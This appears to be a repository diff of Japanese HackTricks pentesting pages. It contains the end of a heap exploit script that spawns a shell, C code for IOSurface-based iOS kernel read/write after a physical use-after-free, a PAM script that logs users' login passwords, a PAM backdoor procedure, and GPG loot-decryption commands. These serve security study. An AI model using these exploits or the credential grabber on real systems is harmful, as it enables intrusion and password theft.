p.recvline(timeout=0.5) # Skip the "..." part
# Check if we hit win()
response = p.recvline(timeout=0.5)
if b"win() reached" in response:
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
log.success("Shell spawned, entering interactive mode...")
p.interactive()
return
elif b"safe_cb() called" in response:
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
else:
log.info(f"Failed with extra_pad={extra}, unexpected response")
except:
log.info(f"Failed with extra_pad={extra}, likely crashed")
p.close()
log.failure("All padding attempts failed. The heap layout might be different.")
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
if __name__ == '__main__':
main()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,215 @@
# iOS Physical Use-After-Free via IOSurface
{{#include ../../banners/hacktricks-training.md}}
## Physical use-after-free
これは [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) の投稿の要約です。さらに、この手法を使ったエクスプロイトの詳細は [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) にあります。
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
iOS のユーザープロセス向けの仮想メモリ空間は **0x0 0x8000000000** までです。ただし、これらのアドレスは物理メモリに直接対応しているわけではありません。代わりに、カーネルはページテーブルを使って仮想アドレスを実際の物理アドレスに変換します。
#### Levels of Page Tables in iOS
ページテーブルは階層構造になっており、3 段階で構成されています:
1. **L1 Page Table (Level 1)**:
* ここにある各エントリは仮想メモリの大きな範囲を表します。
* 仮想メモリの **0x1000000000 バイト**= **256 GB**)をカバーします。
2. **L2 Page Table (Level 2)**:
* ここでの各エントリはより小さな領域、具体的には **0x2000000 バイト**32 MBを表します。
* L1 のエントリがその全範囲を直接マップできない場合、L2 テーブルへのポインタを指すことがあります。
3. **L3 Page Table (Level 3)**:
* もっとも細かいレベルで、各エントリは単一の **4 KB** ページをマップします。
* より詳細な制御が必要な場合、L2 エントリは L3 テーブルを指すことがあります。
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* ページテーブルの一部のエントリは、仮想アドレスの範囲を物理アドレスの連続領域に直接マップします(ショートカットのようなものです)。
* **Pointer to Child Page Table**:
* より細かい制御が必要な場合、あるレベルのエントリ(例: L1は次のレベルの子ページテーブル例: L2へのポインタを持ちます。
#### Example: Mapping a Virtual Address
仮に仮想アドレス **0x1000000000** にアクセスしようとすると:
1. **L1 Table**:
* カーネルはこの仮想アドレスに対応する L1 エントリをチェックします。もし L2 ページテーブルへのポインタがあれば、その L2 テーブルに移動します。
2. **L2 Table**:
* カーネルはより詳細なマッピングのために L2 を確認します。もしこのエントリが L3 ページテーブルを指していれば、さらに進みます。
3. **L3 Table**:
* 最終的に L3 エントリを参照し、実際のページの **物理アドレス** を得ます。
#### Example of Address Mapping
もし L2 テーブルの最初のインデックスに物理アドレス **0x800004000** を書き込んだ場合:
* 仮想アドレス **0x1000000000** **0x1002000000** は、物理アドレス **0x800004000** **0x802004000** にマップされます。
* これは L2 レベルでの **ブロックマッピング** です。
一方で、L2 エントリが L3 テーブルを指している場合:
* 仮想アドレス範囲 **0x1000000000 -> 0x1002000000** 内の各 4 KB ページは L3 の個別エントリによってマッピングされます。
### Physical use-after-free
physical use-after-freeUAFは次のような状況で発生します:
1. プロセスが読み書き可能なメモリを割り当てる。
2. ページテーブルが更新され、そのメモリがプロセスからアクセス可能な特定の物理アドレスにマップされる。
3. プロセスがそのメモリを解放freeする。
4. しかしバグにより、カーネルはページテーブルからそのマッピングを削除するのを忘れてしまい、対応する物理メモリは「free」としてマークされる。
5. カーネルはその「解放された」物理メモリを別用途(例: カーネルデータ)に再割り当てする可能性がある。
6. マッピングが削除されていないため、プロセスは依然としてその物理メモリの読み書きが可能である。
これにより、プロセスはカーネルメモリのページにアクセスできるようになり、機密データや構造体を含む可能性があるため、攻撃者がカーネルメモリを操作できてしまう恐れがあります。
### IOSurface Heap Spray
攻撃者は、解放された物理メモリがどのカーネルページに割り当てられるかを制御できないため、heap spray と呼ばれる手法を使います:
1. 攻撃者はカーネルメモリ上に多数の IOSurface オブジェクトを作成する。
2. 各 IOSurface オブジェクトは、識別しやすいフィールドに magic value を含む。
3. 彼らは解放されたページをスキャンして、これらの IOSurface オブジェクトが解放ページ上に割り当てられていないか確認する。
4. 解放ページ上に IOSurface オブジェクトを見つけた場合、それを使ってカーネルメモリの読み書きを行える。
詳細は [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) を参照してください。
> [!TIP]
> iOS 16+A12+デバイスはハードウェア緩和策PPL や SPTM などを導入しており、physical UAF 技術は実用性が大きく低下しています。
> PPL はコード署名、entitlements、機密性の高いカーネルデータに関連するページに対して厳格な MMU 保護を強制するため、ページが再利用されたとしても userland からの書き込みや侵害されたカーネルコードからの書き込みは PPL 保護ページに対してブロックされます。
> Secure Page Table Monitor (SPTM) は PPL を拡張してページテーブルの更新自体を強化します。これにより、権限を持つカーネルコードであっても、secure なチェックを経ずに解放ページを黙って再マップしたりマッピングを改ざんしたりすることはできなくなります。
> KTRR (Kernel Text Read-Only Region) はブート後にカーネルのコード領域を読み取り専用にロックダウンします。これによりランタイムでのカーネルコード改変を防ぎ、physical UAF エクスプロイトが依存する主要な攻撃ベクターを塞ぎます。
> さらに、IOSurface の割り当ては予測しにくくなり、ユーザがアクセス可能な領域にマッピングされにくくなっているため、「magic value スキャン」トリックの信頼性は低下しています。また、IOSurface は現在 entitlements や sandbox 制限によって保護されています。
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: 攻撃者は特定の識別子("magic value")を持つ多数の IOSurface オブジェクトを生成します。
2. **Scan Freed Pages**: これらのオブジェクトのうち、解放されたページに割り当てられたものがないか確認します。
3. **Read/Write Kernel Memory**: IOSurface オブジェクトのフィールドを操作することで、カーネルメモリに対する arbitrary reads and writes を実現します。これにより:
* あるフィールドを使ってカーネルメモリ内の任意の 32-bit 値を読み出せる。
* 別のフィールドを使って 64-bit 値を書き込み、安定した kernel read/write primitive を確立できる。
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
解放された物理ページ1つ内で**`IOSurface`**オブジェクトを検索する:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### IOSurface を使った Kernel Read/Write の取得
kernel memory 内の IOSurface オブジェクトuserspace からアクセス可能な解放済み物理ページにマップされている)の制御を得た後、これを使って **arbitrary kernel read and write operations** を実行できます。
**IOSurface の重要なフィールド**
The IOSurface object には重要なフィールドが2つあります:
1. **Use Count Pointer**: **32-bit read** を可能にします。
2. **Indexed Timestamp Pointer**: **64-bit write** を可能にします。
これらのポインタを上書きすることで、kernel memory の任意のアドレスを指すようにリダイレクトし、read/write 機能を実現できます。
#### 32-Bit Kernel Read
読み取りを行うには:
1. **use count pointer** を上書きして、target address から 0x14 バイト引いたオフセットを指すようにします。
2. `get_use_count` メソッドを使って、そのアドレスの値を読み取ります。
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64ビットカーネル書き込み
書き込みを行うには:
1. ターゲットアドレスに**indexed timestamp pointer**を上書きする。
2. `set_indexed_timestamp` メソッドを使用して64ビット値を書き込む。
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### エクスプロイトフローの要約
1. **Trigger Physical Use-After-Free**: 解放されたページが再利用可能になる。
2. **Spray IOSurface Objects**: カーネルメモリにユニークな "magic value" を持つ多数の IOSurface オブジェクトを割り当てる。
3. **Identify Accessible IOSurface**: 自分が制御する解放済みページ上の IOSurface を見つける。
4. **Abuse Use-After-Free**: IOSurface オブジェクト内のポインタを改変し、IOSurface メソッド経由で任意の **kernel read/write** を可能にする。
これらのプリミティブにより、エクスプロイトはカーネルメモリへの制御された **32-bit reads****64-bit writes** を提供する。さらなる jailbreak 手順は、より安定した read/write プリミティブを必要とする場合があり、追加の保護(例: 新しい arm64e デバイス上の PPLを回避する必要があるかもしれない。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -11,16 +11,16 @@ Let's configure a PAM module to log each password each user uses to login. If yo
pam-pluggable-authentication-modules.md pam-pluggable-authentication-modules.md
{{#endref}} {{#endref}}
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. これは要約です: **For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. 以下は要約です:
**Technique Overview:** **Technique Overview:**
Pluggable Authentication Modules (PAM) は、Unix 系システムでの認証管理に柔軟性を提供します。ログインプロセスをカスタマイズすることでセキュリティを向上させられますが、誤用されるとリスクを招きます。本要約では、PAM を使ってログイン資格情報を取得する手法とその緩和策を概説します。 Pluggable Authentication Modules (PAM)は、Unixベースのシステムでの認証管理に柔軟性を提供します。ログインプロセスをカスタマイズしてセキュリティを強化できますが、誤用されるとリスクにもなります。本要約は、PAMを用いてログイン資格情報を取得する手法と、その緩和策の概要を示します。
**Capturing Credentials:** **Capturing Credentials:**
- `toomanysecrets.sh` という名前の bash スクリプトを作成し、ログイン試行を記録するようにして、日付、username (`$PAM_USER`)、passwordstdin 経由、remote host IP (`$PAM_RHOST`) を `/var/log/toomanysecrets.log` に記録します。 - `toomanysecrets.sh`という名前のbashスクリプトを作成し、ログイン試行を記録します。日付、ユーザー名(`$PAM_USER`、パスワードstdin経由、およびリモートホストIP`$PAM_RHOST`)を`/var/log/toomanysecrets.log`に記録します。
- スクリプトに実行権限を与え、`pam_exec.so` モジュールを使用して PAM の設定(`common-auth`)に統合します。オプションは静かに実行し、認証トークンをスクリプトに渡すようにします。 - スクリプトを実行可能にし、`pam_exec.so`モジュールを使って静かに実行するオプションと認証トークンをスクリプトに公開するオプションを付けてPAMの設定`common-auth`)に組み込みます。
- この手法は、乗っ取られた Linux ホストが資格情報を秘かにログに記録するためにどのように悪用され得るかを示しています。 - この手法は、侵害されたLinuxホストがどのようにして資格情報を目立たずに記録するために悪用され得るかを示しています。
```bash ```bash
#!/bin/sh #!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -32,30 +32,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
``` ```
### Backdooring PAM ### Backdooring PAM
**詳細は[original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)を確認してください**。これは要約です: **For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**。以下は要約です:
Pluggable Authentication Module (PAM) は Linux 上でユーザ認証に使われるシステムです。主に3つの概念で動作します**username**, **password**, **service**。各サービスの設定ファイルは `/etc/pam.d/` にあり、共有ライブラリが認証を処理します。 Pluggable Authentication Module (PAM) は、Linux 上でユーザー認証に使用されるシステムです。主要な概念は **username**, **password**, **service** の三つです。各サービスの設定ファイルは `/etc/pam.d/` に置かれ、認証は共有ライブラリによって処理されます。
**目的**: PAM を修正して、実際のユーザーパスワードをバイパスし、特定のパスワードで認証できるようにします。特に `pam_unix.so` 共有ライブラリに注目しており、これはパスワード検証のためにほとんどのサービスが include す`common-auth` ファイルで使われています。 **目的**: 実際のユーザーパスワードを迂回して、特定のパスワードで認証できるように PAM を改変すること。これは特に、パスワード検証のためにほとんどのサービスから include され`common-auth` ファイルで使われている `pam_unix.so` 共有ライブラリに焦点を当てています。
### Steps for Modifying `pam_unix.so`: ### Steps for Modifying `pam_unix.so`:
1. **Locate the Authentication Directive** in the `common-auth` file: 1. **Locate the Authentication Directive** in the `common-auth` file:
- ユーザのパスワードをチェックする行は `pam_unix.so` を呼び出しています。 - ユーザーのパスワードを検証する行が `pam_unix.so` を呼び出しています。
2. **Modify Source Code**: 2. **Modify Source Code**:
- `pam_unix_auth.c` ソースファイルに、事前定義したパスワードが使われている場合にアクセスを許可し、そうでなければ通常の認証処理を継続する条件文を追加します。 - `pam_unix_auth.c` ソースに、事前定義したパスワードが使われた場合にアクセスを許可する条件分岐を追加し、それ以外は通常の認証処理を続行するようにします。
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. 3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**: 4. **Testing**:
- 事前定義したパスワードでさまざまなサービスlogin、ssh、sudo、su、screensaverへのアクセスが許可され、通常の認証処理は影響を受けません - 事前定義したパスワードで login、ssh、sudo、su、screensaver など複数のサービスに対するアクセスが許可され、通常の認証処理には影響が出ないことを確認します
> [!TIP] > [!TIP]
> このプロセスは [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) で自動化できます > You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## ホームディレクトリ移動による GPG loot の復号 ## Decrypting GPG loot via homedir relocation
暗号化された `.gpg` ファイルとユーザ`~/.gnupg` フォルダpubring, private-keys, trustdbを見つけたが、GnuPG の homedir の権限/ロックのために復号できない場合、keyring を書き込み可能な場所にコピーしてそれを GPG のホームとして使います。 暗号化された `.gpg` ファイルとユーザーの `~/.gnupg` フォルダpubring、private-keys、trustdbを見つけたが、GnuPG の homedir の権限やロックのせいで復号できない場合は、keyring を書き込み可能な場所にコピーしてそこを GPG home として使います。
これを行わないと典型的に以下のエラーが出ます: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key"GPG が元の homedir を読み書きできないため)。 これをやらないと典型的に出るエラー: "unsafe ownership on homedir", "failed to create temporary file", または "decryption failed: No secret key"GPG が元の homedir を読み書きできないため)。
Workflow: Workflow:
```bash ```bash
@ -70,10 +70,10 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or # or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
``` ```
秘密鍵のマテリアル`private-keys-v1.d` に存在する場合、GPG はパスフレーズを要求せずにアンロックおよび復号を行います(鍵が保護されている場合はプロンプトが表示されます)。 秘密鍵の実体`private-keys-v1.d` に存在する場合、GPGはパスフレーズを要求せずにアンロックおよび復号します(キーが保護されている場合は要求されます)。
## 参考資料 ## 参考文献
- [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) - [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) - [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)

File diff suppressed because it is too large Load Diff

View File

@ -1,10 +1,10 @@
# Android アプリケーション Pentesting # Android アプリケーションPentesting
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Android アプリケーションの基 ## Android アプリケーションの基
このページを最初に読むことを強く推奨します。**Android のセキュリティに関連する最も重要な部分と、Android アプリケーション内で最も危険なコンポーネント**について知ることができます: このページは、**Android セキュリティに関連する最も重要な部分と、Android アプリケーション内で最も危険なコンポーネント**について知るために、まず読むことを強くおすすめします:
{{#ref}} {{#ref}}
@ -13,24 +13,24 @@ android-applications-basics.md
## ADB (Android Debug Bridge) ## ADB (Android Debug Bridge)
これは、エミュレートまたは実機の Android デバイスに接続するための主要なツールです。\ これは、エミュレートされたものでも実機でも、Android デバイスに接続するために必要な主要なツールです。\
**ADB** を使用すると、コンピュータから **USB** または **Network** 経由でデバイスを制御できます。このユーティリティは、ファイルの双方向の **copying**、アプリの **installation****uninstallation**、シェルコマンドの **execution**、データの **backing up**、ログの **reading** などの機能を提供します。 **ADB** を使用すると、コンピュータから **USB** または **Network** 経由でデバイスを制御できます。このユーティリティは、ファイルの双方向の **コピー**、アプリの **インストール****アンインストール**、シェルコマンドの **実行**、データの **バックアップ**、ログの **読み取り** などの機能を提供します。
adb の使い方を学ぶには、の [**ADB Commands**](adb-commands.md) を参照してください。 adb の使い方を学ぶには、以下の [**ADB Commands**](adb-commands.md) のリストを参照してください。
## Smali ## Smali
場合によっては、**modify the application code** して **hidden information**(難読化されたパスワードや flags などにアクセスすることが有益です。そのため、apk を逆コンパイルしてコードを修正し、再コンパイルすることが有効な場合があります。\ 時には、**アプリケーションのコードを修正**して **隠された情報**難読化されたパスワードやフラグなどにアクセスすることが有益です。その場合、apk をデコンパイルしてコードを修正し、再コンパイルすることが考えられます。\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。この手法は、これから示す**dynamic analysis**中のいくつかのテストの代替手段として非常に有用です。したがって、この可能性を常に念頭に置いてください。 [**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。これは、これから紹介する動的解析におけるいくつかのテストに対する代替手段として非常に役立つ可能性があります。したがって、この可能性を常に念頭に置いてください。
## Other interesting tricks ## その他の興味深いトリック
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- デバイスから APK を抽出する方法: - デバイスからAPKを抽出する
```bash ```bash
adb shell pm list packages adb shell pm list packages
com.android.insecurebankv2 com.android.insecurebankv2
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
``` ```
- [APKEditor](https://github.com/REAndroid/APKEditor) を使って、すべての splits と base apks をマージする: - すべての splits と base apks を [APKEditor](https://github.com/REAndroid/APKEditor) マージする:
```bash ```bash
mkdir splits mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -61,38 +61,38 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}} {{#endref}}
## Static Analysis ## 静的解析
まず、APKを解析するには、decompilerを使って**Java code**を確認してください。\ まず、APKを解析するには、decompiler を使って**Java コードを確認する**べきです。\
Please, [**read here to find information about different available decompilers**](apk-decompilers.md). Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
### Looking for interesting Info ### 興味深い情報の探索
APKの**strings**を確認するだけで、**passwords**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens**などの有用な情報を探せます。コード実行の**backdoors**や認証バックドア(アプリにハードコードされた管理者資格情報)なども見つかることがあります APKの**strings**を確認するだけで、**passwords**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens** などを検索できます。コード実行の**backdoors**や認証用のbackdoorshardcoded admin credentials to the appさえ探してください
**Firebase** **Firebase**
Firebase に特に注意して、**firebase URLs** が誤設定されていないか確認してください。 [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) **firebase URLs**に特に注意し、設定が不適切でないか確認してください。[More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Basic understanding of the application - Manifest.xml, strings.xml ### アプリケーションの基本的理解 - Manifest.xml, strings.xml
アプリケーションの _Manifest.xml_ および _strings.xml_ ファイルを**調査することで潜在的なセキュリティ脆弱性が明らかになることがあります**。これらのファイルは decompiler を使うか、APK の拡張子を .zip に変更して解凍することで取得できます。 アプリケーションの _Manifest.xml_ および _strings.xml_ ファイルの**調査は潜在的なセキュリティ脆弱性を明らかにする**ことがあります。これらのファイルは decompiler を使うか、APK の拡張子を .zip に変更して解凍することでアクセスできます。
**Manifest.xml** から識別される脆弱性には以下があります: **Manifest.xml** から特定できる **脆弱性** には次のものがあります:
- **Debuggable Applications**: _Manifest.xml_ debuggable (`debuggable="true"`) に設定されたアプリケーションは、接続を許可し悪用につながる可能性があるためリスクがあります。デバッグ可能なアプリを発見して悪用する方法については、デバイス上でのデバッグ可能アプリの検出と悪用に関するチュートリアルを参照してください。 - **Debuggable Applications**: _Manifest.xml_`debuggable="true"` に設定されたアプリケーションは、接続を許可してしまい、悪用に繋がるリスクがあります。デバッガブルなアプリをデバイス上で見つけて悪用する方法についてはチュートリアルを参照してください。
- **Backup Settings**: 機密情報を扱うアプリでは、adb 経由での不正なデータバックアップを防ぐために `android:allowBackup="false"` を明示的に設定するべきです(特に USB デバッグが有効な場合) - **Backup Settings**: `android:allowBackup="false"` 属性は、usb debugging が有効な場合などに adb 経由でのデータバックアップによる不正アクセスを防ぐため、機密情報を扱うアプリでは明示的に false に設定する必要があります
- **Network Security**: _res/xml/_ 内のカスタム network security 設定(`android:networkSecurityConfig="@xml/network_security_config"`)は、証明書ピンや HTTP トラフィック許可などのセキュリティ詳細を指定できます。特定ドメインに対して HTTP トラフィックを許可する例などが考えられます。 - **Network Security**: `android:networkSecurityConfig="@xml/network_security_config"` のようなカスタムネットワークセキュリティ設定_res/xml/_ 内)は、証明書ピンや HTTP トラフィック許可設定などのセキュリティ詳細を指定できます。例えば特定ドメインへの HTTP トラフィックを許可する設定などがあります。
- **Exported Activities and Services**: マニフェストにエクスポートされた activity や service を特定することで、悪用されうるコンポーネントを浮き彫りにできます。動的テスト時にさらに解析して、それらがどのように悪用され得るかを確認してください - **Exported Activities and Services**: マニフェスト内でエクスポートされた activities や services を特定することで、悪用される可能性のあるコンポーネントが明らかになります。動的テスト中にこれらをさらに解析すると、どのように悪用できるかが分かります
- **Content Providers and FileProviders**: 公開された content provider はデータへの不正アクセスや改ざんを許す可能性があります。FileProvider の設定も入念に確認してください - **Content Providers and FileProviders**: 公開された content providers はデータへの不正アクセスや変更を許す可能性があります。FileProviders の設定も詳しく調べるべきです
- **Broadcast Receivers and URL Schemes**: これらのコンポーネントは悪用に利用され得るため、特に URL スキームの扱いによる入力脆弱性に注意してください。 - **Broadcast Receivers and URL Schemes**: これらのコンポーネントは悪用の足がかりになり得ます。特に URL スキームの扱い方が入力に対する脆弱性を生まないか注意してください。
- **SDK Versions**: `minSdkVersion``targetSDKVersion``maxSdkVersion` の属性はサポートされる Android バージョンを示し、古い脆弱なバージョンをサポートしないことが重要です。 - **SDK Versions**: `minSdkVersion``targetSDKVersion``maxSdkVersion` 属性はサポートする Android バージョンを示します。古く脆弱な Android バージョンをサポートし続けることの危険性が分かります。
**strings.xml** ファイルからは、API keys、カスタムスキーマ、その他の開発者メモのような機密情報が発見されることがあり、これらのリソースは注意深く確認する必要があります。 **strings.xml** からは、API keys、カスタムスキーマ、その他の開発者メモなどの機密情報が見つかることがあり、これらのリソースは慎重に確認する必要があります。
### Tapjacking ### Tapjacking
Tapjacking は、悪意のあるアプリケーションが起動して被害者アプリの上に自身を配置する攻撃です。視覚的に被害者アプリを覆い隠した状態で、UI がユーザをだまして操作させ、その操作を被害者アプリへ透過させるように設計されます。結果として、ユーザは実際には被害者アプリ上で操作を行っていることに気づかなくなります。 **Tapjacking** は、**malicious application** を起動して **被害アプリの上に自身を配置**する攻撃です。被害アプリを視覚的に覆った後、マルウェアの UI はユーザーを騙して操作させるように設計されており、その操作を被害アプリに転送します。結果として、ユーザーは実際には被害アプリ上で操作を行っていることに気付かなくなります。
Find more information in: Find more information in:
@ -103,7 +103,7 @@ tapjacking.md
### Task Hijacking ### Task Hijacking
`launchMode`**`singleTask`** に設定され、かつ `taskAffinity` が定義されていない activity は Task Hijacking の対象になります。つまり、悪意あるアプリをインストールしてそのアプリを本物のアプリより先に起動すると、本物のアプリのタスクを**乗っ取る**ことができ(ユーザは本物のアプリを操作しているつもりで実は悪意あるアプリを操作している)、ユーザを騙すことができます。 `launchMode`**`singleTask`** に設定され、かつ `taskAffinity` が定義されていない **activity****Task Hijacking** の脆弱性があります。つまり、別の**application**をインストールしてそれを本物のアプリより先に起動すると、**本物のアプリの task を乗っ取ってしまう**可能性があり(ユーザーは本物のアプリを使っているつもりで実は悪意あるアプリを操作している)、その結果ユーザを騙すことができます。
More info in: More info in:
@ -112,101 +112,101 @@ More info in:
android-task-hijacking.md android-task-hijacking.md
{{#endref}} {{#endref}}
### Insecure data storage ### 不適切なデータ保存
**Internal Storage** **内部ストレージ**
Android では、internal storage に保存されたファイルはそれを作成したアプリのみがアクセスできるよう設計されています。これは OS によって強制され、多くのアプリケーションにとって十分なセキュリティ手段です。しかし、開発者が `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` といったモードを利用してファイルを他のアプリ間で共有することがあり、これらのモードは他の(悪意ある可能性のある)アプリからのアクセスを制限しません。 Android では、**internal** ストレージに**保存**されたファイルはそれを**作成したアプリだけがアクセスできる**よう設計されています。このセキュリティ対策は Android OS によって強制され、ほとんどのアプリのセキュリティ要件には十分です。ただし、開発者が `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` のようなモードを利用してファイルを異なるアプリ間で**共有**できるようにする場合があります。しかし、これらのモードは他のアプリ(潜在的に malicious なものを含む)によるファイルへのアクセスを制限しません。
1. **Static Analysis:** 1. **Static Analysis:**
- `MODE_WORLD_READABLE` `MODE_WORLD_WRITABLE` の使用を慎重に調査してください。これらのモードはファイルを意図しない、または許可されていないアクセスにさらす可能性があります。 - `MODE_WORLD_READABLE` `MODE_WORLD_WRITABLE` の使用は慎重に精査してください。これらのモードはファイルを意図しない、または不正なアクセスに晒す可能性があります。
2. **Dynamic Analysis:** 2. **Dynamic Analysis:**
